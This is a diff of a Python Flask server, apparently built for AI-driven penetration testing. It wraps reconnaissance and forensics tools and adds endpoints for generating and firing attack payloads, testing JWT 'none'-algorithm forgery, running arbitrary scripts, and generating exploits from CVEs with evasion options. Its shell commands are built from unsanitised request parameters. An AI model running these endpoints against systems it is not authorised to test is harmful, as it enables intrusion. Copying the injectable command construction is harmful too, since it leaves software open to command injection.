         result = execute_command(command)
         logger.info(f"📊 ZAP scan completed for {target}")
@@ -12503,18 +12503,18 @@ def wafw00f():
         params = request.json
         target = params.get("target", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🛡️ Wafw00f called without target parameter")
             return jsonify({
                 "error": "Target parameter is required"
             }), 400
-        
+
         command = f"wafw00f {target}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🛡️ Starting Wafw00f WAF detection: {target}")
         result = execute_command(command)
         logger.info(f"📊 Wafw00f completed for {target}")
@@ -12533,21 +12533,21 @@ def fierce():
         domain = params.get("domain", "")
         dns_server = params.get("dns_server", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not domain:
             logger.warning("🌐 Fierce called without domain parameter")
             return jsonify({
                 "error": "Domain parameter is required"
             }), 400
-        
+
         command = f"fierce --domain {domain}"
-        
+
         if dns_server:
             command += f" --dns-servers {dns_server}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting Fierce DNS recon: {domain}")
         result = execute_command(command)
         logger.info(f"📊 Fierce completed for {domain}")
@@ -12567,24 +12567,24 @@ def dnsenum():
         dns_server = params.get("dns_server", "")
         wordlist = params.get("wordlist", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not domain:
             logger.warning("🌐 DNSenum called without domain parameter")
             return jsonify({
                 "error": "Domain parameter is required"
             }), 400
-        
+
         command = f"dnsenum {domain}"
-        
+
         if dns_server:
             command += f" --dnsserver {dns_server}"
-            
+
         if wordlist:
             command += f" --file {wordlist}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting DNSenum: {domain}")
         result = execute_command(command)
         logger.info(f"📊 DNSenum completed for {domain}")
@@ -12603,13 +12603,13 @@ def install_python_package():
         params = request.json
         package = params.get("package", "")
         env_name = params.get("env_name", "default")
-        
+
         if not package:
             return jsonify({"error": "Package name is required"}), 400
-        
+
         logger.info(f"📦 Installing Python package: {package} in env {env_name}")
         success = env_manager.install_package(env_name, package)
-        
+
         if success:
             return jsonify({
                 "success": True,
@@ -12621,7 +12621,7 @@ def install_python_package():
                 "success": False,
                 "error": f"Failed to install package {package}"
             }), 500
-            
+
     except Exception as e:
         logger.error(f"💥 Error installing Python package: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -12634,32 +12634,32 @@ def execute_python_script():
         script = params.get("script", "")
         env_name = params.get("env_name", "default")
         filename = params.get("filename", f"script_{int(time.time())}.py")
-        
+
         if not script:
             return jsonify({"error": "Script content is required"}), 400
-        
+
         # Create script file
         script_result = file_manager.create_file(filename, script)
         if not script_result["success"]:
             return jsonify(script_result), 500
-        
+
         # Get Python path for environment
         python_path = env_manager.get_python_path(env_name)
         script_path = script_result["path"]
-        
+
         # Execute script
         command = f"{python_path} {script_path}"
         logger.info(f"🐍 Executing Python script in env {env_name}: {filename}")
         result = execute_command(command, use_cache=False)
-        
+
         # Clean up script file
         file_manager.delete_file(filename)
-        
+
         result["env_name"] = env_name
         result["script_filename"] = filename
         logger.info(f"📊 Python script execution completed")
         return jsonify(result)
-        
+
     except Exception as e:
         logger.error(f"💥 Error executing Python script: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -12670,7 +12670,7 @@ def execute_python_script():
 
 class AIPayloadGenerator:
     """AI-powered payload generation system with contextual intelligence"""
-    
+
     def __init__(self):
         self.payload_templates = {
             "xss": {
@@ -12744,23 +12744,23 @@ class AIPayloadGenerator:
                 ]
             }
         }
-    
+
     def generate_contextual_payload(self, target_info: Dict[str, Any]) -> Dict[str, Any]:
         """Generate contextual payloads based on target information"""
-        
+
         attack_type = target_info.get("attack_type", "xss")
         complexity = target_info.get("complexity", "basic")
         target_tech = target_info.get("technology", "").lower()
-        
+
         # Get base payloads
         payloads = self._get_payloads(attack_type, complexity)
-        
+
         # Enhance payloads with context
         enhanced_payloads = self._enhance_with_context(payloads, target_tech)
-        
+
         # Generate test cases
         test_cases = self._generate_test_cases(enhanced_payloads, attack_type)
-        
+
         return {
             "attack_type": attack_type,
             "complexity": complexity,
@@ -12769,7 +12769,7 @@ class AIPayloadGenerator:
             "test_cases": test_cases,
             "recommendations": self._get_recommendations(attack_type)
         }
-    
+
     def _get_payloads(self, attack_type: str, complexity: str) -> list:
         """Get payloads for specific attack type and complexity"""
         if attack_type in self.payload_templates:
@@ -12778,13 +12778,13 @@ class AIPayloadGenerator:
             else:
                 # Return basic payloads if complexity not found
                 return self.payload_templates[attack_type].get("basic", [])
-        
+
         return ["<!-- No payloads available for this attack type -->"]
-    
+
     def _enhance_with_context(self, payloads: list, tech_context: str) -> list:
         """Enhance payloads with contextual information"""
         enhanced = []
-        
+
         for payload in payloads:
             # Basic payload
             enhanced.append({
@@ -12793,7 +12793,7 @@ class AIPayloadGenerator:
                 "encoding": "none",
                 "risk_level": self._assess_risk_level(payload)
             })
-            
+
             # URL encoded version
             url_encoded = payload.replace(" ", "%20").replace("<", "%3C").replace(">", "%3E")
             enhanced.append({
@@ -12802,13 +12802,13 @@ class AIPayloadGenerator:
                 "encoding": "url",
                 "risk_level": self._assess_risk_level(payload)
             })
-        
+
         return enhanced
-    
+
     def _generate_test_cases(self, payloads: list, attack_type: str) -> list:
         """Generate test cases for the payloads"""
         test_cases = []
-        
+
         for i, payload_info in enumerate(payloads[:5]):  # Limit to 5 test cases
             test_case = {
                 "id": f"test_{i+1}",
@@ -12818,9 +12818,9 @@ class AIPayloadGenerator:
                 "risk_level": payload_info["risk_level"]
             }
             test_cases.append(test_case)
-        
+
         return test_cases
-    
+
     def _get_expected_behavior(self, attack_type: str) -> str:
         """Get expected behavior for attack type"""
         behaviors = {
@@ -12832,21 +12832,21 @@ class AIPayloadGenerator:
             "xxe": "XML external entity processing"
         }
         return behaviors.get(attack_type, "Unexpected application behavior")
-    
+
     def _assess_risk_level(self, payload: str) -> str:
         """Assess risk level of payload"""
         high_risk_indicators = ["system", "exec", "eval", "cmd", "shell", "passwd", "etc"]
         medium_risk_indicators = ["script", "alert", "union", "select"]
-        
+
         payload_lower = payload.lower()
-        
+
         if any(indicator in payload_lower for indicator in high_risk_indicators):
             return "HIGH"
         elif any(indicator in payload_lower for indicator in medium_risk_indicators):
             return "MEDIUM"
         else:
             return "LOW"
-    
+
     def _get_recommendations(self, attack_type: str) -> list:
         """Get testing recommendations"""
         recommendations = {
@@ -12871,7 +12871,7 @@ class AIPayloadGenerator:
                 "Test with various payloads for different OS"
             ]
         }
-        
+
         return recommendations.get(attack_type, ["Test thoroughly", "Monitor responses"])
 
 # Global AI payload generator
@@ -12888,18 +12888,18 @@ def ai_generate_payload():
             "technology": params.get("technology", ""),
             "url": params.get("url", "")
         }
-        
+
         logger.info(f"🤖 Generating AI payloads for {target_info['attack_type']} attack")
         result = ai_payload_generator.generate_contextual_payload(target_info)
-        
+
         logger.info(f"✅ Generated {result['payload_count']} contextual payloads")
-        
+
         return jsonify({
             "success": True,
             "ai_payload_generation": result,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in AI payload generation: {str(e)}")
         return jsonify({
@@ -12915,25 +12915,25 @@ def ai_test_payload():
         payload = params.get("payload", "")
         target_url = params.get("target_url", "")
         method = params.get("method", "GET")
-        
+
         if not payload or not target_url:
             return jsonify({
                 "success": False,
                 "error": "Payload and target_url are required"
             }), 400
-        
+
         logger.info(f"🧪 Testing AI-generated payload against {target_url}")
-        
+
         # Create test command based on method and payload
         if method.upper() == "GET":
             encoded_payload = payload.replace(" ", "%20").replace("'", "%27")
             test_command = f"curl -s '{target_url}?test={encoded_payload}'"
         else:
             test_command = f"curl -s -X POST -d 'test={payload}' '{target_url}'"
-        
+
         # Execute test
         result = execute_command(test_command, use_cache=False)
-        
+
         # AI analysis of results
         analysis = {
             "payload_tested": payload,
@@ -12948,16 +12948,16 @@ def ai_test_payload():
                 "Monitor application behavior changes"
             ]
         }
-        
+
         logger.info(f"🔍 Payload test completed | Potential vuln: {analysis['potential_vulnerability']}")
-        
+
         return jsonify({
             "success": True,
             "test_result": result,
             "ai_analysis": analysis,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in AI payload testing: {str(e)}")
         return jsonify({
@@ -12978,13 +12978,13 @@ def api_fuzzer():
         endpoints = params.get("endpoints", [])
         methods = params.get("methods", ["GET", "POST", "PUT", "DELETE"])
         wordlist = params.get("wordlist", "/usr/share/wordlists/api/api-endpoints.txt")
-        
+
         if not base_url:
             logger.warning("🌐 API Fuzzer called without base_url parameter")
             return jsonify({
                 "error": "Base URL parameter is required"
             }), 400
-        
+
         # Create comprehensive API fuzzing command
         if endpoints:
             # Test specific endpoints
@@ -12999,7 +12999,7 @@ def api_fuzzer():
                         "method": method,
                         "result": result
                     })
-            
+
             logger.info(f"🔍 API endpoint testing completed for {len(endpoints)} endpoints")
             return jsonify({
                 "success": True,
@@ -13009,17 +13009,17 @@ def api_fuzzer():
         else:
             # Discover endpoints using wordlist
             command = f"ffuf -u {base_url}/FUZZ -w {wordlist} -mc 200,201,202,204,301,302,307,401,403,405 -t 50"
-            
+
             logger.info(f"🔍 Starting API endpoint discovery: {base_url}")
             result = execute_command(command)
             logger.info(f"📊 API endpoint discovery completed")
-            
+
             return jsonify({
                 "success": True,
                 "fuzzing_type": "endpoint_discovery",
                 "result": result
             })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in API fuzzer: {str(e)}")
         return jsonify({
@@ -13035,22 +13035,22 @@ def graphql_scanner():
         introspection = params.get("introspection", True)
         query_depth = params.get("query_depth", 10)
         mutations = params.get("test_mutations", True)
-        
+
         if not endpoint:
             logger.warning("🌐 GraphQL Scanner called without endpoint parameter")
             return jsonify({
                 "error": "GraphQL endpoint parameter is required"
             }), 400
-        
+
         logger.info(f"🔍 Starting GraphQL security scan: {endpoint}")
-        
+
         results = {
             "endpoint": endpoint,
             "tests_performed": [],
             "vulnerabilities": [],
             "recommendations": []
         }
-        
+
         # Test 1: Introspection query
         if introspection:
             introspection_query = '''
@@ -13068,48 +13068,48 @@ def graphql_scanner():
                 }
             }
             '''
-            
+
             clean_query = introspection_query.replace('\n', ' ').replace('  ', ' ').strip()
             command = f"curl -s -X POST -H 'Content-Type: application/json' -d '{{\"query\":\"{clean_query}\"}}' '{endpoint}'"
             result = execute_command(command, use_cache=False)
-            
+
             results["tests_performed"].append("introspection_query")
-            
+
             if "data" in result.get("stdout", ""):
                 results["vulnerabilities"].append({
                     "type": "introspection_enabled",
                     "severity": "MEDIUM",
                     "description": "GraphQL introspection is enabled"
                 })
-        
+
         # Test 2: Query depth analysis
         deep_query = "{ " * query_depth + "field" + " }" * query_depth
         command = f"curl -s -X POST -H 'Content-Type: application/json' -d '{{\"query\":\"{deep_query}\"}}' {endpoint}"
         depth_result = execute_command(command, use_cache=False)
-        
+
         results["tests_performed"].append("query_depth_analysis")
-        
+
         if "error" not in depth_result.get("stdout", "").lower():
             results["vulnerabilities"].append({
                 "type": "no_query_depth_limit",
                 "severity": "HIGH",
                 "description": f"No query depth limiting detected (tested depth: {query_depth})"
             })
-        
+
         # Test 3: Batch query testing
         batch_query = '[' + ','.join(['{\"query\":\"{field}\"}' for _ in range(10)]) + ']'
         command = f"curl -s -X POST -H 'Content-Type: application/json' -d '{batch_query}' {endpoint}"
         batch_result = execute_command(command, use_cache=False)
-        
+
         results["tests_performed"].append("batch_query_testing")
-        
+
         if "data" in batch_result.get("stdout", "") and batch_result.get("success"):
             results["vulnerabilities"].append({
                 "type": "batch_queries_allowed",
                 "severity": "MEDIUM",
                 "description": "Batch queries are allowed without rate limiting"
             })
-        
+
         # Generate recommendations
         if results["vulnerabilities"]:
             results["recommendations"] = [
@@ -13119,14 +13119,14 @@ def graphql_scanner():
                 "Implement query complexity analysis",
                 "Add authentication for sensitive operations"
             ]
-        
+
         logger.info(f"📊 GraphQL scan completed | Vulnerabilities found: {len(results['vulnerabilities'])}")
-        
+
         return jsonify({
             "success": True,
             "graphql_scan_results": results
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in GraphQL scanner: {str(e)}")
         return jsonify({
@@ -13140,22 +13140,22 @@ def jwt_analyzer():
         params = request.json
         jwt_token = params.get("jwt_token", "")
         target_url = params.get("target_url", "")
-        
+
         if not jwt_token:
             logger.warning("🔐 JWT Analyzer called without jwt_token parameter")
             return jsonify({
                 "error": "JWT token parameter is required"
             }), 400
-        
+
         logger.info(f"🔍 Starting JWT security analysis")
-        
+
         results = {
             "token": jwt_token[:50] + "..." if len(jwt_token) > 50 else jwt_token,
             "vulnerabilities": [],
             "token_info": {},
             "attack_vectors": []
         }
-        
+
         # Decode JWT header and payload (basic analysis)
         try:
             parts = jwt_token.split('.')
@@ -13163,31 +13163,31 @@ def jwt_analyzer():
                 # Decode header
                 import base64
                 import json
-                
+
                 # Add padding if needed
                 header_b64 = parts[0] + '=' * (4 - len(parts[0]) % 4)
                 payload_b64 = parts[1] + '=' * (4 - len(parts[1]) % 4)
-                
+
                 try:
                     header = json.loads(base64.b64decode(header_b64))
                     payload = json.loads(base64.b64decode(payload_b64))
-                    
+
                     results["token_info"] = {
                         "header": header,
                         "payload": payload,
                         "algorithm": header.get("alg", "unknown")
                     }
-                    
+
                     # Check for vulnerabilities
                     algorithm = header.get("alg", "").lower()
-                    
+
                     if algorithm == "none":
                         results["vulnerabilities"].append({
                             "type": "none_algorithm",
                             "severity": "CRITICAL",
                             "description": "JWT uses 'none' algorithm - no signature verification"
                         })
-                    
+
                     if algorithm in ["hs256", "hs384", "hs512"]:
                         results["attack_vectors"].append("hmac_key_confusion")
                         results["vulnerabilities"].append({
@@ -13195,7 +13195,7 @@ def jwt_analyzer():
                             "severity": "MEDIUM",
                             "description": "HMAC algorithm detected - vulnerable to key confusion attacks"
                         })
-                    
+
                     # Check token expiration
                     exp = payload.get("exp")
                     if not exp:
@@ -13204,21 +13204,21 @@ def jwt_analyzer():
                             "severity": "HIGH",
                             "description": "JWT token has no expiration time"
                         })
-                    
+
                 except Exception as decode_error:
                     results["vulnerabilities"].append({
                         "type": "malformed_token",
                         "severity": "HIGH",
                         "description": f"Token decoding failed: {str(decode_error)}"
                     })
-        
+
         except Exception as e:
             results["vulnerabilities"].append({
                 "type": "invalid_format",
                 "severity": "HIGH",
                 "description": "Invalid JWT token format"
             })
-        
+
         # Test token manipulation if target URL provided
         if target_url:
             # Test none algorithm attack
@@ -13227,24 +13227,24 @@ def jwt_analyzer():
                 # Create none algorithm token
                 none_header = base64.b64encode('{"alg":"none","typ":"JWT"}'.encode()).decode().rstrip('=')
                 none_token = f"{none_header}.{none_token_parts[1]}."
-                
+
                 command = f"curl -s -H 'Authorization: Bearer {none_token}' '{target_url}'"
                 none_result = execute_command(command, use_cache=False)
-                
+
                 if "200" in none_result.get("stdout", "") or "success" in none_result.get("stdout", "").lower():
                     results["vulnerabilities"].append({
                         "type": "none_algorithm_accepted",
                         "severity": "CRITICAL",
                         "description": "Server accepts tokens with 'none' algorithm"
                     })
-        
+
         logger.info(f"📊 JWT analysis completed | Vulnerabilities found: {len(results['vulnerabilities'])}")
-        
+
         return jsonify({
             "success": True,
             "jwt_analysis_results": results
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in JWT analyzer: {str(e)}")
         return jsonify({
@@ -13258,26 +13258,26 @@ def api_schema_analyzer():
         params = request.json
         schema_url = params.get("schema_url", "")
         schema_type = params.get("schema_type", "openapi")  # openapi, swagger, graphql
-        
+
         if not schema_url:
             logger.warning("📋 API Schema Analyzer called without schema_url parameter")
             return jsonify({
                 "error": "Schema URL parameter is required"
             }), 400
-        
+
         logger.info(f"🔍 Starting API schema analysis: {schema_url}")
-        
+
         # Fetch schema
         command = f"curl -s '{schema_url}'"
         result = execute_command(command, use_cache=True)
-        
+
         if not result.get("success"):
             return jsonify({
                 "error": "Failed to fetch API schema"
             }), 400
-        
+
         schema_content = result.get("stdout", "")
-        
+
         analysis_results = {
             "schema_url": schema_url,
             "schema_type": schema_type,
@@ -13285,16 +13285,16 @@ def api_schema_analyzer():
             "security_issues": [],
             "recommendations": []
         }
-        
+
         # Parse schema based on type
         try:
             import json
             schema_data = json.loads(schema_content)
-            
+
             if schema_type.lower() in ["openapi", "swagger"]:
                 # OpenAPI/Swagger analysis
                 paths = schema_data.get("paths", {})
-                
+
                 for path, methods in paths.items():
                     for method, details in methods.items():
                         if isinstance(details, dict):
@@ -13306,7 +13306,7 @@ def api_schema_analyzer():
                                 "security": details.get("security", [])
                             }
                             analysis_results["endpoints_found"].append(endpoint_info)
-                            
+
                             # Check for security issues
                             if not endpoint_info["security"]:
                                 analysis_results["security_issues"].append({
@@ -13315,7 +13315,7 @@ def api_schema_analyzer():
                                     "severity": "MEDIUM",
                                     "description": "Endpoint has no authentication requirements"
                                 })
-                            
+
                             # Check for sensitive data in parameters
                             for param in endpoint_info["parameters"]:
                                 param_name = param.get("name", "").lower()
@@ -13326,7 +13326,7 @@ def api_schema_analyzer():
                                         "severity": "HIGH",
                                         "description": f"Sensitive parameter detected: {param_name}"
                                     })
-            
+
             # Generate recommendations
             if analysis_results["security_issues"]:
                 analysis_results["recommendations"] = [
@@ -13337,7 +13337,7 @@ def api_schema_analyzer():
                     "Add proper error handling",
                     "Use secure headers (CORS, CSP, etc.)"
                 ]
-            
+
         except json.JSONDecodeError:
             analysis_results["security_issues"].append({
                 "endpoint": "schema",
@@ -13345,14 +13345,14 @@ def api_schema_analyzer():
                 "severity": "HIGH",
                 "description": "Schema is not valid JSON"
             })
-        
+
         logger.info(f"📊 Schema analysis completed | Issues found: {len(analysis_results['security_issues'])}")
-        
+
         return jsonify({
             "success": True,
             "schema_analysis_results": analysis_results
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in API schema analyzer: {str(e)}")
         return jsonify({
@@ -13372,27 +13372,27 @@ def volatility3():
         plugin = params.get("plugin", "")
         output_file = params.get("output_file", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not memory_file:
             logger.warning("🧠 Volatility3 called without memory_file parameter")
             return jsonify({
                 "error": "Memory file parameter is required"
             }), 400
-            
+
         if not plugin:
             logger.warning("🧠 Volatility3 called without plugin parameter")
             return jsonify({
                 "error": "Plugin parameter is required"
             }), 400
-        
+
         command = f"vol.py -f {memory_file} {plugin}"
-        
+
         if output_file:
             command += f" -o {output_file}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🧠 Starting Volatility3 analysis: {plugin}")
         result = execute_command(command)
         logger.info(f"📊 Volatility3 analysis completed")
@@ -13412,26 +13412,26 @@ def foremost():
         output_dir = params.get("output_dir", "/tmp/foremost_output")
         file_types = params.get("file_types", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not input_file:
             logger.warning("📁 Foremost called without input_file parameter")
             return jsonify({
                 "error": "Input file parameter is required"
             }), 400
-        
+
         # Ensure output directory exists
         Path(output_dir).mkdir(parents=True, exist_ok=True)
-        
+
         command = f"foremost -o {output_dir}"
-        
+
         if file_types:
             command += f" -t {file_types}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-            
+
         command += f" {input_file}"
-        
+
         logger.info(f"📁 Starting Foremost file carving: {input_file}")
         result = execute_command(command)
         result["output_directory"] = output_dir
@@ -13454,13 +13454,13 @@ def steghide():
         passphrase = params.get("passphrase", "")
         output_file = params.get("output_file", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not cover_file:
             logger.warning("🖼️ Steghide called without cover_file parameter")
             return jsonify({
                 "error": "Cover file parameter is required"
             }), 400
-        
+
         if action == "extract":
             command = f"steghide extract -sf {cover_file}"
             if output_file:
@@ -13473,15 +13473,15 @@ def steghide():
             command = f"steghide info {cover_file}"
         else:
             return jsonify({"error": "Invalid action. Use: extract, embed, info"}), 400
-            
+
         if passphrase:
             command += f" -p {passphrase}"
         else:
             command += " -p ''"  # Empty passphrase
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🖼️ Starting Steghide {action}: {cover_file}")
         result = execute_command(command)
         logger.info(f"📊 Steghide {action} completed")
@@ -13501,26 +13501,26 @@ def exiftool():
         output_format = params.get("output_format", "")  # json, xml, csv
         tags = params.get("tags", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not file_path:
             logger.warning("📷 ExifTool called without file_path parameter")
             return jsonify({
                 "error": "File path parameter is required"
             }), 400
-        
+
         command = f"exiftool"
-        
+
         if output_format:
             command += f" -{output_format}"
-            
+
         if tags:
             command += f" -{tags}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-            
+
         command += f" {file_path}"
-        
+
         logger.info(f"📷 Starting ExifTool analysis: {file_path}")
         result = execute_command(command)
         logger.info(f"📊 ExifTool analysis completed")
@@ -13541,18 +13541,18 @@ def hashpump():
         key_length = params.get("key_length", "")
         append_data = params.get("append_data", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not all([signature, data, key_length, append_data]):
             logger.warning("🔐 HashPump called without required parameters")
             return jsonify({
                 "error": "Signature, data, key_length, and append_data parameters are required"
             }), 400
-        
+
         command = f"hashpump -s {signature} -d '{data}' -k {key_length} -a '{append_data}'"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔐 Starting HashPump attack")
         result = execute_command(command)
         logger.info(f"📊 HashPump attack completed")
@@ -13569,7 +13569,17 @@ def hashpump():
 
 @app.route("/api/tools/hakrawler", methods=["POST"])
 def hakrawler():
-    """Execute Hakrawler for web endpoint discovery with enhanced logging"""
+    """
+    Execute Hakrawler for web endpoint discovery with enhanced logging
+
+    Note: This implementation uses the standard Kali Linux hakrawler (hakluke/hakrawler)
+    command line arguments, NOT the Elsfa7-110 fork. The standard version uses:
+    - echo URL | hakrawler (stdin input)
+    - -d for depth (not -depth)
+    - -s for showing sources (not -forms)
+    - -u for unique URLs
+    - -subs for subdomain inclusion
+    """
     try:
         params = request.json
         url = params.get("url", "")
@@ -13579,27 +13589,27 @@ def hakrawler():
         sitemap = params.get("sitemap", True)
         wayback = params.get("wayback", False)
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🕷️ Hakrawler called without URL parameter")
             return jsonify({
                 "error": "URL parameter is required"
             }), 400
-        
-        command = f"hakrawler -url {url} -depth {depth}"
-        
+
+        # Build command for standard Kali Linux hakrawler (hakluke version)
+        command = f"echo '{url}' | hakrawler -d {depth}"
+
         if forms:
-            command += " -forms"
-        if robots:
-            command += " -robots"
-        if sitemap:
-            command += " -sitemap"
-        if wayback:
-            command += " -wayback"
-            
+            command += " -s"  # Show sources (includes forms)
+        if robots or sitemap or wayback:
+            command += " -subs"  # Include subdomains for better coverage
+
+        # Add unique URLs flag for cleaner output
+        command += " -u"
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🕷️ Starting Hakrawler crawling: {url}")
         result = execute_command(command)
         logger.info(f"📊 Hakrawler crawling completed")
@@ -13622,26 +13632,26 @@ def cve_monitor():
         hours = params.get("hours", 24)
         severity_filter = params.get("severity_filter", "HIGH,CRITICAL")
         keywords = params.get("keywords", "")
-        
+
         logger.info(f"🔍 Monitoring CVE feeds for last {hours} hours with severity filter: {severity_filter}")
-        
+
         # Fetch latest CVEs
         cve_results = cve_intelligence.fetch_latest_cves(hours, severity_filter)
-        
+
         # Filter by keywords if provided
         if keywords and cve_results.get("success"):
             keyword_list = [k.strip().lower() for k in keywords.split(",")]
             filtered_cves = []
-            
+
             for cve in cve_results.get("cves", []):
                 description = cve.get("description", "").lower()
                 if any(keyword in description for keyword in keyword_list):
                     filtered_cves.append(cve)
-            
+
             cve_results["cves"] = filtered_cves
             cve_results["filtered_by_keywords"] = keywords
             cve_results["total_after_filter"] = len(filtered_cves)
-        
+
         # Analyze exploitability for top CVEs
         exploitability_analysis = []
         for cve in cve_results.get("cves", [])[:5]:  # Analyze top 5 CVEs
@@ -13650,17 +13660,17 @@ def cve_monitor():
                 analysis = cve_intelligence.analyze_cve_exploitability(cve_id)
                 if analysis.get("success"):
                     exploitability_analysis.append(analysis)
-        
+
         result = {
             "success": True,
             "cve_monitoring": cve_results,
             "exploitability_analysis": exploitability_analysis,
             "timestamp": datetime.now().isoformat()
         }
-        
+
         logger.info(f"📊 CVE monitoring completed | Found: {len(cve_results.get('cves', []))} CVEs")
         return jsonify(result)
-        
+
     except Exception as e:
         logger.error(f"💥 Error in CVE monitoring: {str(e)}")
         return jsonify({
@@ -13678,7 +13688,7 @@ def exploit_generate():
         target_arch = params.get("target_arch", "x64")
         exploit_type = params.get("exploit_type", "poc")
         evasion_level = params.get("evasion_level", "none")
-        
+
         # Additional target context
         target_info = {
             "target_os": target_os,
@@ -13689,25 +13699,25 @@ def exploit_generate():
             "target_port": params.get("target_port", 80),
             "description": params.get("target_description", f"Target for {cve_id}")
         }
-        
+
         if not cve_id:
             logger.warning("🤖 Exploit generation called without CVE ID")
             return jsonify({
                 "success": False,
                 "error": "CVE ID parameter is required"
             }), 400
-        
+
         logger.info(f"🤖 Generating exploit for {cve_id} | Target: {target_os} {target_arch}")
-        
+
         # First analyze the CVE for context
         cve_analysis = cve_intelligence.analyze_cve_exploitability(cve_id)
-        
+
         if not cve_analysis.get("success"):
             return jsonify({
                 "success": False,
                 "error": f"Failed to analyze CVE {cve_id}: {cve_analysis.get('error', 'Unknown error')}"
             }), 400
-        
+
         # Prepare CVE data for exploit generation
         cve_data = {
             "cve_id": cve_id,
@@ -13715,13 +13725,13 @@ def exploit_generate():
             "exploitability_level": cve_analysis.get("exploitability_level", "UNKNOWN"),
             "exploitability_score": cve_analysis.get("exploitability_score", 0)
         }
-        
+
         # Generate exploit
         exploit_result = exploit_generator.generate_exploit_from_cve(cve_data, target_info)
-        
+
         # Search for existing exploits for reference
         existing_exploits = cve_intelligence.search_existing_exploits(cve_id)
-        
+
         result = {
             "success": True,
             "cve_analysis": cve_analysis,
@@ -13730,10 +13740,10 @@ def exploit_generate():
             "target_info": target_info,
             "timestamp": datetime.now().isoformat()
         }
-        
+
         logger.info(f"🎯 Exploit generation completed for {cve_id}")
         return jsonify(result)
-        
+
     except Exception as e:
         logger.error(f"💥 Error in exploit generation: {str(e)}")
         return jsonify({
@@ -13749,54 +13759,54 @@ def discover_attack_chains():
         target_software = params.get("target_software", "")
         attack_depth = params.get("attack_depth", 3)
         include_zero_days = params.get("include_zero_days", False)
-        
+
         if not target_software:
             logger.warning("🔗 Attack chain discovery called without target software")
             return jsonify({
                 "success": False,
                 "error": "Target software parameter is required"
             }), 400
-        
+
         logger.info(f"🔗 Discovering attack chains for {target_software} | Depth: {attack_depth}")
-        
+
         # Discover attack chains
         chain_results = vulnerability_correlator.find_attack_chains(target_software, attack_depth)
-        
+
         # Enhance with exploit generation for viable chains
         if chain_results.get("success") and chain_results.get("attack_chains"):
             enhanced_chains = []
-            
+
             for chain in chain_results["attack_chains"][:2]:  # Enhance top 2 chains
                 enhanced_chain = chain.copy()
                 enhanced_stages = []
-                
+
                 for stage in chain["stages"]:
                     enhanced_stage = stage.copy()
-                    
+
                     # Try to generate exploit for this stage
                     vuln = stage.get("vulnerability", {})
                     cve_id = vuln.get("cve_id", "")
-                    
+
                     if cve_id:
                         try:
                             cve_data = {"cve_id": cve_id, "description": vuln.get("description", "")}
                             target_info = {"target_os": "linux", "target_arch": "x64", "evasion_level": "basic"}
-                            
+
                             exploit_result = exploit_generator.generate_exploit_from_cve(cve_data, target_info)
                             enhanced_stage["exploit_available"] = exploit_result.get("success", False)
-                            
+
                             if exploit_result.get("success"):
                                 enhanced_stage["exploit_code"] = exploit_result.get("exploit_code", "")[:500] + "..."
                         except:
                             enhanced_stage["exploit_available"] = False
-                    
+
                     enhanced_stages.append(enhanced_stage)
-                
+
                 enhanced_chain["stages"] = enhanced_stages
                 enhanced_chains.append(enhanced_chain)
-            
+
             chain_results["enhanced_chains"] = enhanced_chains
-        
+
         result = {
             "success": True,
             "attack_chain_discovery": chain_results,
@@ -13807,10 +13817,10 @@ def discover_attack_chains():
             },
             "timestamp": datetime.now().isoformat()
         }
-        
+
         logger.info(f"🎯 Attack chain discovery completed | Found: {len(chain_results.get('attack_chains', []))} chains")
         return jsonify(result)
-        
+
     except Exception as e:
         logger.error(f"💥 Error in attack chain discovery: {str(e)}")
         return jsonify({
@@ -13826,19 +13836,19 @@ def threat_intelligence_feeds():
         indicators = params.get("indicators", [])
         timeframe = params.get("timeframe", "30d")
         sources = params.get("sources", "all")
-        
+
         if isinstance(indicators, str):
             indicators = [i.strip() for i in indicators.split(",")]
-        
+
         if not indicators:
             logger.warning("🧠 Threat intelligence called without indicators")
             return jsonify({
                 "success": False,
                 "error": "Indicators parameter is required"
             }), 400
-        
+
         logger.info(f"🧠 Correlating threat intelligence for {len(indicators)} indicators")
-        
+
         correlation_results = {
             "indicators_analyzed": indicators,
             "timeframe": timeframe,
@@ -13847,12 +13857,12 @@ def threat_intelligence_feeds():
             "threat_score": 0,
             "recommendations": []
         }
-        
+
         # Analyze each indicator
         cve_indicators = [i for i in indicators if i.startswith("CVE-")]
         ip_indicators = [i for i in indicators if i.replace(".", "").isdigit()]
         hash_indicators = [i for i in indicators if len(i) in [32, 40, 64] and all(c in "0123456789abcdef" for c in i.lower())]
-        
+
         # Process CVE indicators
         for cve_id in cve_indicators:
             try:
@@ -13864,11 +13874,11 @@ def threat_intelligence_feeds():
                         "analysis": cve_analysis,
                         "threat_level": cve_analysis.get("exploitability_level", "UNKNOWN")
                     })
-                    
+
                     # Add to threat score
                     exploit_score = cve_analysis.get("exploitability_score", 0)
                     correlation_results["threat_score"] += min(exploit_score, 100)
-                    
+
                 # Search for existing exploits
